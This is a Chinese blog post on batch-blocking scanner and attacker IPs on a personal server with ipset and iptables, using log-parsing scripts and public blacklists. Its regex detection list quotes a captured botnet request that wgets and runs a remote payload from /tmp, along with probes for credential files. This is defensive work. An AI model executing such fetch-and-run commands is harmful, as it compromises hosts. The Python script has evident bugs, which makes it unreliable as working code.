小破站批量屏蔽IP地址实践
文档说明:只记录关键地方;
缘由:
小破站,自己用,不挂广告,不推广,也不允许搜索引擎抓取(robots.txt不允许抓取)
但是每天依然是有大量的漏洞扫描、嗅探,还有伪装成搜索引擎然后抓取,这就勾起了好奇心 。
前面的叙述,都是废话
真实原因: 流量费贵
屏蔽原理 ipset + iptables (真正起作用的是 netfilter)
2 句命令实现屏蔽IP的功能
nftables 和 iptables 都是 netfilter 管理工具,真正起作用的是 netfilter(linux内核防火墙)
规则少的话还是用iptables
小破站,用不上BGP协议屏蔽IP地址的功能,但是可以使用它提供的黑名单
话不多说,直接上脚本
如果你还运行容器,你会发现,这个屏蔽功能,在容器环境下,并不生效,这是因为,报文在 PREROUTING 环节已经进入容器设置的链。它的规则优先级比我们自己定义的高
想让容器生效请看这篇 https://www.cnblogs.com/jingjingxyk/p/16867108.html
# 屏蔽IP或者IP地址段功能
ipset create blocklist-ip hash:net
iptables -I INPUT -m set --match-set blocklist-ip src -j DROP
# 下面添加需要屏蔽的IP地址
ipset add blocklist-ip 34.100.239.202
ipset add blocklist-ip 51.75.123.107
# 查看 blocklist-ip 集合的内容
ipset list blocklist-ip
上面是已经准备好了屏蔽IP地址的功能,下面准备要屏蔽的IP地址了
方式一: 读取nginx日志、auth.log文件等,用匹配的规则把符要求的IP地址读取出来
源码先等等,虽然写好了,得把一些信息移除,确认没问题,再公开
实际做法,实在每台主机上事实收集,用消息队列对送到处理中心,统一处理,每台主机上也有接受下发指令的 agent
# 收集ssh 攻击源ip
ssh_attack_log=${__DIR__}/ssh_attack.log
echo '' > ${ssh_attack_log}
for auth_log in '/var/log/auth.log' '/var/log/auth.log.1'
do
line_total=$(grep 'Unable to negotiate with' $auth_log | wc -l )
if test $line_total -gt 0
then
grep 'Unable to negotiate with' $auth_log >> ${ssh_attack_log}
fi
line_total=$(grep 'ssh_dispatch_run_fatal: Connection from' $auth_log | wc -l )
if test $line_total -gt 0
then
grep 'ssh_dispatch_run_fatal: Connection from' $auth_log >> ${ssh_attack_log}
fi
line_total=$(grep 'Invalid user' $auth_log | wc -l )
if test $line_total -gt 0
then
grep 'Invalid user' $auth_log >> ${ssh_attack_log}
fi
line_total=$(grep 'invalid format' $auth_log | wc -l )
if test $line_total -gt 0
then
grep 'invalid format' $auth_log >> ${ssh_attack_log}
fi
done
# nginx 日志
docker-compose -f docker-compose.yaml logs > nginx.log
# 获取屏蔽IP的python 脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import concurrent.futures
import os
import subprocess
import fileinput
import time
import re
import rule_filter
import IPy
# 匹配规则
def match(line ):
ip=None
line=str(line).strip()
search = re.search("(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", line)
if search:
for reg in rule_filter.match_reg_arr:
result = re.search(reg, line)
if result:
ip = search.group(1)
return ip
if __name__ == '__main__':
current_dir = os.path.dirname(os.path.abspath(__file__))
start_time = time.perf_counter()
ip_list=[]
with fileinput.input(
files=(
current_dir + '/nginx.log ',
current_dir + '/ssh_attack.log'
)
) as f:
for line in f:
ip=match(line)
if ip:
ip_list.append(ip)
# 保留IP、你自己的IP、服务器IP要排除,否则屏蔽了,你自己连不上自己的服务器
with('ip_list.txt','w') as f:
f.write('\n'.join(ip_list))
end_time = time.perf_counter()
print('花费时间 {} seconds'.format(end_time - start_time))
# rule_filter.py
# 一个静态站,匹配IP地址规则
# 规则自己添加,并不通用,按需配置
def match_reg_arr():
return [
"/boaform/admin/formLogin",
r'boaform',
r'/GponForm/diag_Form\?images/',
"project_patchwatch",
'/editBlackAndWhiteList',
r'microsoft\.exchange\.ediscovery\.exporttool\.application',
r'/pma/scripts/setup\.php',
r'/\.aws/credentials',
r'/\.git/config',
r'/\.env',
r'/\.environments',
r'\.git/HEAD',
r'clients_live',
r'w00tw00t',
r'Miniweb\.css',
r'SSTP_DUPLEX_POST',
r'Administrator',
r'__Additional',
r'NetSystemsResearch',
r'Homebrew-install',
r'/Home/Get/getJnd28',
'confluence-markdown-macro-1.6.4.ja',
r'JNapier',
r'/cgi-bin/index2\.asp',
r"GET /shell\?cd\+/tmp;rm\+-rf\+\*;wget\+synns\.cf/jaws;sh\+/tmp/jaws HTTP/1\.1",
r"/tmp/jaws",
r'Mozi\.m\+-O\+',
r'/tmp/Mozi\.m',
r'/setup\.cgi',
r'saconfig/secure/yunwei\.js',
r'index/user/get_server_info',
r'Build/JRO03D',
r'Gecko/20100101 Firefox',
r'scaninfo@paloaltonetworks\.com',
r'\"NetcraftSurveyAgent',
r"Mozilla/5\.0 \(compatible; NetcraftSurveyAgent/1\.0; \+info@netcraft.com\)",
r'Build/MRA58N',
r'netsystemsresearch.com',
r'/pma/scripts/setup\.php',
r'SM-G900P Build/LRX21T',
r'/wp-login.php',
r"AlexaMediaPlayer/2\.1\.4676\.0 \(Linux;Android 5.1.1\) ExoPlayerLib/1\.5\.9",
r'Linux Gnu \(cow\)',
r"hq,h2c,h2,spdy/3,spdy/2,spdy/1,http/1\.1,http/1\.0,http/0\.9",
r"http/0\.9,http/1\.0,http/1\.1,spdy/1,spdy/2,spdy/3,h2,h2c,hq",
r"\"wp_is_mobile\"",
r"\"XTC\"",
r'gbrmss/',
r"\"fasthttp\"",
r"\"MGLNDD_",
r"Linux Gnu \(cow\)",
r"libwww-perl/",
r"zgrab/",
r"masscan-ng/",
r"masscan/",
r"SSH-2\.0-libssh2_1\.8\.2",
r'InternetMeasurement',
r'CensysInspect\/',
r'python-requests/',
r'\"SSH-2\.0-Go\"',
r'TurnitinBot',
r'USER anonymous',
r'\"panscient\.com\"',
r'SemrushBot/',
r'l9tcpid/',
r'Roku/DVP',
r'Scrapy/',
r'\"Offline Explorer/',
r'Neevabot/',
r"blackhats\.romanian\.anti-sec",
r"\"OPTIONS / RTSP/1\.0\"",
r"/info\.php",
r"/xmlrpc\.php\?rsd",
r"/\?rest_route=/wp/v2/users/",
r"client sent invalid method while reading client request line, client",
r"\"GET /setup\.cgi",
r"\"REQMOD icap://",
r"mstshash=",
r"about\.censys\.io",
]
方式二: 借助公共的IP屏蔽系统获得需要屏蔽的IP名单
通过公开的服务,获取屏蔽源地址
wget -O public-ip-blacklist/ustc-blacklist.txt http://hpfeeds.ustc.edu.cn/list.php?txt
wget -O public-ip-blacklist/neu-ssh-blacklist.txt http://antivirus.neu.edu.cn/ssh/lists/neu.txt
wget -O public-ip-blacklist/ustc-mailblackip.txt http://blackip.ustc.edu.cn/mailblackip.php?txt
方式三: 通过日志收集到的SSH攻击来源IP列表
打开浏览器控制台,然后执行下列代码,然后复制所有ip地址即可
let ips=[]
document.querySelectorAll('table tbody tr').forEach((value,key,array)=>{
ips.push(value.querySelector('td').innerText.trim())
})
console.log(ips.join('\n'))
准备好了IP黑名单列表,现在批量添加IP地址
ip_list=($(cat latest-blocklist.txt))
for i in $( seq 0 $((${#ip_list[*]} - 1)) )
do
ipset add blacklist-ip-cidr ${ip_list[i]}
done
ssh+2FA+fail2ban
只允许密钥登陆